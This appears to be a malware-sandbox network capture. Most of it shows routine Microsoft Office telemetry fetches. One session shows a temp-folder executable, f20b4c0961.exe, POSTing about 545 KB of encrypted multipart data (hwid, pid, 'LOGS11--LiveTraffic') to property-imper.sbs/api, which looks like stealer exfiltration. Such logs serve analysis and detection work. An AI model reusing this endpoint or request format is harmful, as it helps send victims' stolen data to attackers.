2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.8	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:52 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:53 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 79a9dcb6-201e-003c-1c7b-3b30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201553Z-174c587ffdfl22mzhC1TEBk40c00000003g000000000m4qt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:53 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.8	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:53 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:53 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c2dc1527-b01e-0053-5db2-3bcdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201553Z-174c587ffdfgcs66hC1TEB69cs000000036000000000ngbn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:53 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.8	49813	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:53 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:53 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:53 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 40c83c0a-001e-00ad-1e79-3b554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201553Z-174c587ffdf7t49mhC1TEB4qbg000000037g00000000p81h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 20:15:53 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.8	49815	172.67.162.84	443	3848	C:\Users\user\AppData\Local\Temp\1008515001\f20b4c0961.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:54 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=4LC4EBXHQKALR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 545769 Host: property-imper.sbs
2024-11-23 20:15:54 UTC	15331	OUT	Data Raw: 2d 2d 34 4c 43 34 45 42 58 48 51 4b 41 4c 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 41 45 32 44 33 32 42 36 34 45 45 46 41 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 34 4c 43 34 45 42 58 48 51 4b 41 4c 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 34 4c 43 34 45 42 58 48 51 4b 41 4c 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 34 4c 43 34 45 Data Ascii: --4LC4EBXHQKALRContent-Disposition: form-data; name="hwid"2AE2D32B64EEFAB7D7CBBD6DF28D3732--4LC4EBXHQKALRContent-Disposition: form-data; name="pid"1--4LC4EBXHQKALRContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--4LC4E
2024-11-23 20:15:54 UTC	15331	OUT	Data Raw: 35 c8 37 34 5d 77 2b 87 dd 2a 15 46 20 fc 0c 51 e5 5b 76 2d 39 da da b2 a9 02 a3 a7 3a 5c d5 84 1d 4e 24 01 0b db b0 d8 b9 fa 7f 8d 24 76 89 4f 8c 94 f8 66 b4 35 d0 15 55 4f 60 92 0b ae 93 ef 59 32 15 94 95 26 b7 c5 50 ed 5f 4c 29 d9 89 09 22 c6 f2 38 3e 4e ad 81 31 25 8e 77 e0 cc b5 94 a4 6f 76 f5 30 ff 16 00 fc e8 2b 1c 88 64 76 19 81 43 cc 05 72 c0 73 89 9f 67 cb 96 ef 7b 8f fe 10 cd da 3b b8 36 15 03 18 f4 0a 6e 41 18 ba 24 4e 04 7c de fe 34 72 67 af 1f f7 a7 45 7b f7 25 c5 1f 24 aa 12 ba c5 16 ae 14 de 78 9e 23 bc b1 1d 9d c0 ef 05 20 24 f3 b2 92 42 73 07 77 48 82 60 bf cd bf 97 38 2e 29 d0 ff f1 a8 7c 3c 30 e8 91 7f 05 68 24 02 52 d5 e6 a1 0c 3f 82 af 2c 10 c1 fc b7 28 8d f2 a8 c8 6d ff 7f 19 84 48 ac e6 69 8a e3 49 92 00 4f ae 9d db 74 84 60 cc 78 Data Ascii: 574]w+*F Q[v-9:\N$$vOf5UO`Y2&P_L)"8>N1%wov0+dvCrsg{;6nA$N\|4rgE{%$x# $BswH`8.)\|<0h$R?,(mHiIOt`x
2024-11-23 20:15:54 UTC	15331	OUT	Data Raw: 91 4a f7 99 96 1c 65 11 a3 a8 60 0c 8c 09 a5 61 df a8 58 42 d4 1d f8 43 a2 5f 19 31 90 97 2f 29 b3 3a 65 b3 c1 0c 21 30 99 8c c8 60 37 cc 5d 02 7a e2 a3 1a 37 1f b4 e9 e1 55 68 08 69 70 ac ec e3 34 05 84 49 b0 66 83 29 ee 82 7b 9a 9d ea 2e ab 30 0e 7f 4a 5f 78 7e 14 89 5c c6 35 07 42 01 0c 87 c6 70 8d dd c4 4e 29 f4 d4 fb 7e 7f 9e 95 7f d6 a9 ec f0 67 c7 9a c3 19 d1 41 21 22 e5 62 60 67 d7 db cf a4 f5 0a 62 1f fd e4 c8 95 52 21 49 f0 b3 f0 3b d6 8c 2a 7b 0f cc e6 90 8b 36 ee 28 91 9c 79 51 13 c3 0a 2d 48 a6 41 4a a4 25 1e 32 4c 39 2a 12 eb 55 cc f1 1f f7 8a e5 db f1 d3 41 7d 04 a9 df 4b 2d 0a 4b 9e af 89 23 b6 31 53 13 04 f5 4b 7c 2f 48 6d a5 08 c5 e2 17 f9 6e 90 0d 12 f3 5b ea 03 03 de b9 57 c5 e2 57 e4 6e 1b e8 91 db 50 e5 e6 d4 84 78 72 ca de fe a1 1f Data Ascii: Je`aXBC_1/):e!0`7]z7Uhip4If){.0J_x~\5BpN)~gA!"b`gbR!I;{6(yQ-HAJ%2L9UA}K-K#1SK\|/Hmn[WWnPxr
2024-11-23 20:15:54 UTC	15331	OUT	Data Raw: 86 30 e7 a3 84 fd 7a 3b da 1e c3 f5 80 e0 02 5d 15 a2 6f 1a ff 88 7e 1c 5c b0 1c b1 4b de 3f fe 3b ad 14 a0 e6 2d 8f 96 65 09 39 4a 63 ae ea 15 e8 b2 45 24 8c a5 a0 f3 2b 3a 66 5f ce 93 eb c3 39 ae e5 e0 d1 27 72 63 1b ea 55 6e bc 46 87 7a 62 fd a6 ff 86 01 52 7f ce 7d b2 2e da 4f 13 cf 4b c2 fe 1d ff 13 fb 39 90 9b ab c4 a8 eb 6e a2 d5 37 e3 62 fd c8 31 e7 a5 32 55 3b 4a 62 05 b4 89 04 25 f3 c8 ce 50 8c b2 20 a3 2c 9d 96 30 86 ba ed ce 5e 59 62 dd 14 27 0f d1 a4 3a 70 bc 5c 6d 45 89 2d 0d c1 1e d2 05 1e 3c 07 92 a1 a4 6b de 85 2b 9d 58 9c 60 62 82 90 7d 54 50 64 40 e1 4d c1 94 84 01 97 a0 a4 b9 c6 b1 32 eb b1 ad 0b 5e 4d a1 86 07 dc 79 b4 94 99 bf 9e 06 f3 80 89 be 58 88 64 8f a4 29 b9 2d ff 7d 56 95 3c 6b 1c 26 90 1a b6 11 c4 0c d1 16 e1 de 00 ec 8d c5 Data Ascii: 0z;]o~\K?;-e9JcE$+:f_9'rcUnFzbR}.OK9n7b12U;Jb%P ,0^Yb':p\mE-<k+X`b}TPd@M2^MyXd)-}V<k&
2024-11-23 20:15:54 UTC	15331	OUT	Data Raw: 5a e8 c0 5d be ce fe 4a 74 a8 8d b4 40 57 e7 a3 5b a8 ed e3 1f 25 e7 94 ba ac 93 b9 62 ca 0e 67 7d f5 f0 f4 55 e6 d0 0a 21 f4 ac 18 28 3d d3 5a 48 cf 67 fb 5b ed df ae 0f 10 20 a1 55 06 b6 d6 05 6b 6f 54 e4 56 21 26 7f c8 c6 9e 41 39 52 c1 28 9c fc 8f 6d b8 24 6f e9 5b bb 42 9d 37 0e 85 3a f5 54 6f 41 9c 19 e8 a2 ac f0 3a 4c b2 90 23 39 76 a5 f2 d3 17 70 36 95 4e 0f c4 6b 38 58 2c 9e b9 1f 15 f7 99 ca cd c2 22 b8 99 4e 47 f1 9a b3 d2 3e ec 6b dc 31 1c 23 55 20 a3 14 e4 24 5b 66 56 f9 22 7f ca 67 93 d4 c6 24 94 bd c0 75 11 6d 4d 24 ce 8a 13 48 c7 d7 62 6b 8c ec f7 ac 7d 3b cc 44 e0 d2 56 72 31 d4 94 1d ae 90 3c 61 e0 21 af 56 64 17 c7 b3 77 fd 12 dd c2 73 d6 94 f0 fc b9 58 f4 5e 80 2a 50 a4 ff ea 0e 91 42 bf 76 72 59 7e 7b 83 64 a8 b4 3c 5c 75 f7 15 3e 8e Data Ascii: Z]Jt@W[%bg}U!(=ZHg[ UkoTV!&A9R(m$o[B7:ToA:L#9vp6Nk8X,"NG>k1#U $[fV"g$umM$Hbk};DVr1<a!VdwsX^*PBvrY~{d<\u>
2024-11-23 20:15:54 UTC	15331	OUT	Data Raw: 86 af b8 08 f2 68 b7 b6 a7 a4 ac 77 be 9d 56 dc ed 01 75 e8 c0 2c 69 95 ab e0 60 cf 76 cb 51 3e 0e 6f 84 f0 b2 94 32 4d aa 21 35 52 8a 37 4f 6f cd fa 1b 9d 13 1e 49 c4 73 ec cf b0 df 54 e5 a4 b8 a6 4c 20 2a 80 67 ae 9d bb 69 9d 1a 72 55 1d fb dc d1 dd 9f 00 91 27 05 4e d8 c3 90 b6 e6 77 64 1f 7d bb 73 3a 15 3f 6b 30 fe 8d 40 98 5b 42 2b 4e 85 1e 6f 1a e1 80 b9 a4 e8 9f 38 2c c0 bd ab ed 1a 7e 56 ca e3 f6 03 3b 28 9b 21 33 28 67 24 2b 1b c5 b3 55 7c 24 f2 9e 51 de 35 2a d6 08 ff e7 b7 c6 7e 4a 03 d5 b0 57 20 d7 ed ad 4d b3 b6 98 b4 80 0f 93 e7 1f 43 2c 73 4d 6e ce a3 bd ab 55 aa d9 a9 3e 85 db 35 35 b2 70 3d a4 10 5b 70 cc d3 e7 8a ec 9e 0f e7 57 5e 66 21 b0 ed eb 14 5f 94 f0 f4 be 71 0e 16 c6 6e 06 b6 6a c0 91 67 fa e6 c2 fa 9e e6 d4 35 13 b5 11 c8 76 1f Data Ascii: hwVu,i`vQ>o2M!5R7OoIsTL girU'Nwd}s:?k0@[B+No8,~V;(!3(g$+U\|$Q5~JW MC,sMnU>55p=[pW^f!_qnjg5v
2024-11-23 20:15:54 UTC	15331	OUT	Data Raw: c0 71 90 32 68 3b 06 bf 91 e8 8a 7d f7 79 a4 f5 b2 57 82 10 19 1d f2 6e 7b 4c bb 18 64 e8 c7 7d fd a3 d7 7d 11 99 8e 9d 52 7d ed 07 52 74 a0 09 be cb f2 58 98 bc f2 f3 e4 0f 33 b5 e7 a9 08 92 26 d7 8e 45 21 66 cd 04 66 42 ae f3 d0 81 e6 c3 24 62 19 94 2c 43 1d 9a 1e b6 23 55 b0 da d7 4d f7 61 51 7b 2f d7 3f 01 56 99 d5 0f 54 bb a7 3b 67 d2 8e dd 9e e8 70 3e fb c4 82 d8 b2 72 a6 31 4d 2c 08 a5 95 2e e2 5b 30 68 dd 1b a2 b2 fc eb bc e3 de 0e 6c 2e 5c 30 de 0f 78 34 c8 a6 e2 e9 2d 4b 45 af 08 1c 4f 05 61 dc 57 77 b2 c9 13 d0 a1 b6 6e ac 1a da ec 49 c5 ea f9 c8 72 0a 8a c3 9e 9c bb 4d 85 40 bb ab ba 48 58 87 a4 5b e8 0e 2f d7 2d 3f 42 1e 16 f4 dc 4c 48 ca c9 cf 86 6c b6 9b b1 f9 8b 91 ef 7f b4 82 32 10 06 51 81 91 e1 1d dd a6 ae ae 03 e7 18 e4 bf 99 96 7f fb Data Ascii: q2h;}yWn{Ld}}R}RtX3&E!ffB$b,C#UMaQ{/?VT;gp>r1M,.[0hl.\0x4-KEOaWwnIrM@HX[/-?BLHl2Q
2024-11-23 20:15:54 UTC	15331	OUT	Data Raw: 1d 1c 1a cd 51 36 bb 3e 54 6e ba ab a8 f6 f6 02 5f 0e 3f 63 9f 44 ab 7f 1b 76 26 5a e3 7b 11 b4 e7 86 4a 86 e8 04 a3 32 c9 4e 18 41 c0 58 90 c8 c8 17 73 c6 99 5e fe 6a 17 1b c8 02 57 bc 94 26 3a 6f 08 64 c2 7f 40 5b 57 dd d0 c6 b9 59 93 1e 8e d4 59 3e 62 6a b8 22 be eb 05 f3 15 fa b2 4f dc 6f 58 2a 54 13 42 ec 0e e9 88 1a ca 5c 2f a8 10 9d d2 67 42 8c 40 66 d4 43 dd b5 f5 9c 71 b7 b3 3f 1b f6 61 18 bb 71 4f 8f 53 dd 26 35 bb 6a 06 c3 3f 9f 96 88 0e 34 cf 4d 94 d0 b8 ee d4 37 bd 2e ae cf d7 7e 7c ba c8 84 5e 30 6a ea 44 99 12 79 16 5a ec e5 ca e9 0d 85 6f ff de dd f5 a1 bd da 78 36 b4 ee d3 7a 6c f1 6d 85 35 b2 f4 b0 4e 52 58 36 ab 24 c9 fd f2 fa 60 6c 68 55 d2 9d 43 74 9b 8d 7b 95 70 cd 43 de 90 8c 5c 76 1b ca 5b 35 7d 77 7e ee df 63 eb 57 2f 8c e2 df 69 Data Ascii: Q6>Tn_?cDv&Z{J2NAXs^jW&:od@[WYY>bj"OoX*TB\/gB@fCq?aqOS&5j?4M7.~\|^0jDyZox6zlm5NRX6$`lhUCt{pC\v[5}w~cW/i
2024-11-23 20:15:54 UTC	15331	OUT	Data Raw: bb 79 28 11 dd 09 59 da c5 2d 9f 8e 53 b5 1a 29 8a 34 2a b4 67 e4 04 2e bf 94 4c 99 c6 b2 57 6a 7c 84 cf 03 4c 05 5a db c3 91 ca 03 04 f9 9b 64 44 62 3a 56 3d 68 b9 4d 54 f1 dd e7 7b f3 d5 32 22 dc 4b d9 76 4b 75 21 11 d1 a1 5a 02 05 f4 f6 72 78 b2 18 a8 e8 9c 8d ef bf af 9a c5 4c aa 65 a5 29 60 c1 f9 eb 2e 83 36 5c 7b fc 16 30 89 0d 74 36 ac 66 cc 81 61 73 12 72 bd 6f b0 83 a4 9e 84 b8 1c 37 c9 13 68 33 35 38 8f 00 5d 05 07 59 88 fc ef 14 0b 57 90 4f 2e 12 e7 e3 23 16 cf 6d be f7 07 1d 91 f4 33 b6 50 df cf 27 f5 09 28 8f 7f 15 d5 e7 ce bd 28 14 25 54 a8 b7 f2 36 f6 13 b3 a4 31 1e 84 1a 2f 45 25 9a 9a 11 d9 09 0b 2f 0a 29 43 21 4b ba ff 6e c1 3a 22 0f 48 7c b0 be c0 0a a0 23 99 d2 d1 0e a3 5f 39 64 cc cb 15 1b ba db 2e bc 00 2e a5 3f be 78 fb cc 86 68 e0 Data Ascii: y(Y-S)4*g.LWj\|LZdDb:V=hMT{2"KvKu!ZrxLe)`.6\{0t6fasro7h358]YWO.#m3P'((%T61/E%/)C!Kn:"H\|#_9d..?xh
2024-11-23 20:15:54 UTC	15331	OUT	Data Raw: 8f 65 c0 b5 a1 68 99 d0 cb 3a 05 fe 22 67 ad b3 49 f1 04 7b 55 7a 42 0b fb c5 46 3e 3f 91 6f e6 1c ad f9 65 fb 70 3e 60 8e 4e f5 9f b3 c7 2d c4 b1 1d 95 10 69 f3 66 83 2b fc a0 fe a0 0c 50 d9 6e e3 61 b6 b2 8c c1 40 7b a6 38 6e 92 5b ec cb 0c eb 28 c5 70 8a 6c 4c c5 49 03 9c f6 4b e5 57 a2 2b a6 2f 29 7c f8 f1 dd 94 1c f1 6c da 8c 51 51 39 78 63 29 20 b8 ff fb e0 da 01 bd f9 13 76 a5 06 ca d4 fa 3d ec 9e 8b 5f 75 3a 2a d3 fd e6 4e e3 00 b5 34 27 3a b6 7c ad b5 bb 2e a2 a1 32 e5 5c d9 bd 5e 76 77 8b f7 d2 7b 13 f3 9d 5f 6c 89 ae 5a 6c c0 98 f9 5d f3 eb 35 fe 9e bd 67 c4 ce 82 6e b7 f5 13 43 4a 1f e6 d9 c4 15 b9 cb a2 b2 a0 db 55 74 65 fe ad 5e c1 8d 09 98 d1 e3 72 b5 09 49 df f3 5b a2 ef 24 52 64 24 48 58 61 f3 ac 28 9c 97 0e 0a 7e 73 87 c4 c0 b3 3b c7 18 Data Ascii: eh:"gI{UzBF>?oep>`N-if+Pna@{8n[(plLIKW+/)\|lQQ9xc) v=_u:*N4':\|.2\^vw{_lZl]5gnCJUte^rI[$Rd$HXa(~s;
2024-11-23 20:15:59 UTC	1023	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jjrkbgg7r45dq96k9i32figle0; expires=Wed, 19-Mar-2025 14:02:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Gl7VIajCJv6MVYs2owL5k4gNGB3qEyNVgg4NVbhBNedkTdIKknzMUfnrYfHJYJUQcvz2TqlIGYg%2BfunguYDIyNKBB%2BJwQPT9fSaVkRJLolarP8YRP62qGQS4Vf%2BvdPM%2Fkwxu2Q0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e73d57c4acb32d3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1836&sent=345&recv=521&lost=0&retrans=0&sent_bytes=2844&recv_bytes=548247&delivery_rate=1566523&cwnd=146&unsent_bytes=0&cid=50052a7a83715e0b&ts=5052&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.8	49816	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:54 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:55 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:55 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 90758f84-b01e-0021-4c46-3ccab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201555Z-15b8b599d88m7pn7hC1TEB4axw00000003fg0000000080pq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:55 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.8	49817	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:15:54 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 20:15:55 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:15:55 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 43acaf28-701e-006f-5cf7-3cafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T201555Z-178bfbc474bvjk8shC1NYC83ns00000004wg00000000163c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 20:15:55 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" 